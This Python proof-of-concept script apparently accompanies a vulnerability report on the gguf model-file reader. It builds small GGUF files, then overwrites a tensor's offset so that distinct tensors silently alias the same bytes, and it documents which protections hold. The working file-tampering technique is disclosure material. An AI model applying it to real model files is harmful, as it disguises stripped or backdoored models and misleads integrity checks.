#!/usr/bin/env python3
"""
PoC: GGUF Tensor Data Offset Aliasing -- Model Integrity Attack

Target:   gguf (PyPI), gguf-py from ggml-org/llama.cpp
File:     gguf/gguf_reader.py, GGUFReader._build_tensors()

Root cause (CWE-1284 / CWE-20, missing validation of a structural
invariant): each tensor's absolute file position is computed as

    data_offs = start_offs + offset_tensor[0]

where `offset_tensor` is a per-tensor uint64 read directly from the
tensor-info section of the file, with NO validation that different
tensors' offset_tensor values are unique or non-overlapping.

Tensor NAMES *are* checked for duplicates (`_build_tensors` raises
ValueError on a repeated name) -- but nothing stops two tensors with
DIFFERENT names, shapes, and/or dtypes from pointing at the exact same
(or partially overlapping) bytes. The reader accepts this silently: no
exception, no warning.

Impact: a GGUF file can declare many distinct-looking weight tensors
(correct names, correct shapes) that actually all alias onto a tiny
set of real bytes -- the file "looks complete" while being functionally
near-empty, or a small tensor can be carved out of the middle of a
larger one and get its bytes silently reinterpreted as a different
dtype. This can be used to disguise a stripped-down, fake, or
backdoored model as a full one, and defeats any tool that hashes or
verifies tensors under the assumption that each occupies distinct file
bytes.

This script demonstrates two variants:
  1. Full aliasing: two same-shape, same-dtype tensors made to overlap
     completely -- the second tensor's real declared data becomes
     silently inaccessible.
  2. Partial aliasing across shape/dtype: a small int32 tensor carved
     out of the first 8 bytes of a larger float32 tensor -- its
     "data" turns out to be the exact bit-pattern of the float32
     tensor's first two values, reinterpreted as int32.

It also documents three things that are correctly protected, so the
report is not overstated:
  - duplicate tensor NAMES are rejected (source-level confirmation)
  - aliasing cannot reach backward into the KV-metadata/header region
    (mathematically impossible: offset_tensor is unsigned, and is
    added to start_offs, so the minimum reachable position is
    start_offs itself)
  - a single tensor whose declared offset+size exceeds the actual
    file size IS caught (by the reader's own reshape() validation) --
    the gap is specifically about cross-tensor uniqueness, not
    individual out-of-bounds tensors

Requires: pip install gguf numpy
"""

import struct
import os

import numpy as np
from gguf.gguf_reader import GGUFReader

GGUF_MAGIC = 0x46554747  # "GGUF"
GGUF_VERSION = 3
ALIGNMENT = 32

# GGMLQuantizationType values used below (per gguf.constants)
TYPE_F32 = 0
TYPE_I32 = 26


def _pack_str(s: str) -> bytes:
    b = s.encode("utf-8")
    return struct.pack("<Q", len(b)) + b


def _build_minimal_gguf(path: str, tensors: list[tuple[str, np.ndarray, int]]) -> None:
    """Hand-builds a minimal, spec-correct GGUF file (no external-data,
    no KV metadata beyond one string) so the PoC has no dependency on
    GGUFWriter. `tensors` is a list of (name, numpy_array, ggml_type_id).
    """
    kv_count = 1  # just "general.name"
    tensor_count = len(tensors)

    header = struct.pack("<I", GGUF_MAGIC)
    header += struct.pack("<I", GGUF_VERSION)
    header += struct.pack("<Q", tensor_count)
    header += struct.pack("<Q", kv_count)

    # one KV entry: general.name (string) = "poc-model"
    kv = _pack_str("general.name")
    kv += struct.pack("<I", 8)  # GGUFValueType.STRING = 8
    kv += _pack_str("poc-model")

    # tensor-info entries, offsets computed relative to the (aligned) data start
    ti = b""
    offsets = []
    running_offset = 0
    for name, arr, ggml_type in tensors:
        ti += _pack_str(name)
        ti += struct.pack("<I", 1)          # n_dims
        ti += struct.pack("<Q", arr.size)   # dims[0]
        ti += struct.pack("<I", ggml_type)  # raw dtype
        ti += struct.pack("<Q", running_offset)
        offsets.append(running_offset)
        # GGUF pads each tensor's size up to a 32-byte boundary
        nbytes = arr.nbytes
        padded = (nbytes + ALIGNMENT - 1) // ALIGNMENT * ALIGNMENT
        running_offset += padded

    pre_data = header + kv + ti
    padding = (-len(pre_data)) % ALIGNMENT
    pre_data += b"\x00" * padding

    data = b""
    for name, arr, ggml_type in tensors:
        chunk = arr.tobytes()
        padded_len = (len(chunk) + ALIGNMENT - 1) // ALIGNMENT * ALIGNMENT
        data += chunk + b"\x00" * (padded_len - len(chunk))

    with open(path, "wb") as f:
        f.write(pre_data + data)


def build_legit_file_v1(path: str) -> None:
    real = np.array([1.0, 2.0, 3.0, 4.0], dtype=np.float32)
    other = np.array([9.9, 9.9, 9.9, 9.9], dtype=np.float32)
    _build_minimal_gguf(path, [
        ("blk.0.attn_q.weight", real, TYPE_F32),
        ("blk.0.attn_k.weight", other, TYPE_F32),
    ])


def build_legit_file_v2(path: str) -> None:
    big_f32 = np.array([1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8], dtype=np.float32)
    small_i32 = np.array([111, 222], dtype=np.int32)
    _build_minimal_gguf(path, [
        ("blk.0.big_weight", big_f32, TYPE_F32),
        ("blk.0.small_meta", small_i32, TYPE_I32),
    ])


def patch_tensor_offset(path: str, tensor_name: bytes, new_offset: int, out_path: str) -> None:
    """Locates a tensor's offset_tensor field (the last 8 bytes of its
    tensor-info entry) by name and overwrites it in place."""
    with open(path, "rb") as f:
        data = bytearray(f.read())

    idx = data.find(tensor_name)
    if idx == -1:
        raise RuntimeError(f"tensor name {tensor_name!r} not found")
    after_name = idx + len(tensor_name)
    n_dims = struct.unpack_from("<I", data, after_name)[0]
    pos = after_name + 4 + 8 * n_dims + 4  # skip dims + raw_dtype
    struct.pack_into("<Q", data, pos, new_offset)

    with open(out_path, "wb") as f:
        f.write(data)


def main():
    print("=== Variant 1: full aliasing (same shape/dtype) ===")
    v1_path = "poc_alias_v1_legit.gguf"
    build_legit_file_v1(v1_path)
    print(f"  legit file: {os.path.getsize(v1_path)} bytes, 2 distinct tensors")

    v1_evil = "poc_alias_v1_evil.gguf"
    patch_tensor_offset(v1_path, b"blk.0.attn_k.weight", 0, v1_evil)
    print("  patched only the 8-byte offset field of attn_k.weight -> 0 (aliases attn_q.weight)")

    r = GGUFReader(v1_evil)
    tensors = {t.name: t for t in r.tensors}
    q, k = tensors["blk.0.attn_q.weight"], tensors["blk.0.attn_k.weight"]
    print(f"  attn_q.weight: offset={q.data_offset} data={q.data}")
    print(f"  attn_k.weight: offset={k.data_offset} data={k.data}")
    print(f"  -> both tensors report identical data: {np.array_equal(q.data, k.data)}")
    print("  -> attn_k.weight's REAL declared data (9.9,9.9,9.9,9.9) is silently gone.\n")

    print("=== Variant 2: partial overlap, different shape AND dtype ===")
    v2_path = "poc_alias_v2_legit.gguf"
    build_legit_file_v2(v2_path)
    print(f"  legit file: {os.path.getsize(v2_path)} bytes, big_weight(F32x8) + small_meta(I32x2)")

    v2_evil = "poc_alias_v2_evil.gguf"
    patch_tensor_offset(v2_path, b"blk.0.small_meta", 0, v2_evil)
    print("  patched small_meta's offset -> 0 (aliases onto big_weight's first 8 bytes)")

    r2 = GGUFReader(v2_evil)
    tensors2 = {t.name: t for t in r2.tensors}
    big, small = tensors2["blk.0.big_weight"], tensors2["blk.0.small_meta"]
    big_f32 = np.array([1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8], dtype=np.float32)
    print(f"  big_weight (F32): {big.data}")
    print(f"  small_meta (I32): {small.data}")
    expected_bits = big_f32[:2].tobytes()
    actual_bits = small.data.tobytes()
    print(f"  -> small_meta's bytes exactly match big_weight's first 8 bytes reinterpreted: "
          f"{expected_bits == actual_bits}")
    print("  -> a tensor of ANY declared shape/dtype can be carved out of ANY byte range,\n"
          "     regardless of what other tensor(s) claim that same range.\n")

    print("=== Protections confirmed present (for completeness) ===")
    print("  - Duplicate tensor NAMES are rejected: gguf_reader.py's _build_tensors()")
    print("    raises ValueError('Found duplicated tensor with name ...') -- confirmed")
    print("    by direct source reading (not re-demonstrated here; constructing a")
    print("    structurally-valid duplicate-name file requires rewriting tensor_count")
    print("    and shifting all subsequent offsets).")
    print("  - Aliasing cannot reach backward into the KV-metadata/header region:")
    print("    offset_tensor is an unsigned uint64 added to start_offs, so the minimum")
    print("    reachable position is start_offs itself -- mathematically not exploitable")
    print("    for reading pre-tensor-data file structures.")
    print("  - A single tensor whose declared offset+size exceeds the actual file size")
    print("    IS caught, via GGUFReader's own numpy reshape() validation -- the gap")
    print("    demonstrated here is specifically about CROSS-tensor uniqueness, not")
    print("    individual tensor bounds checking.")


if __name__ == "__main__":
    main()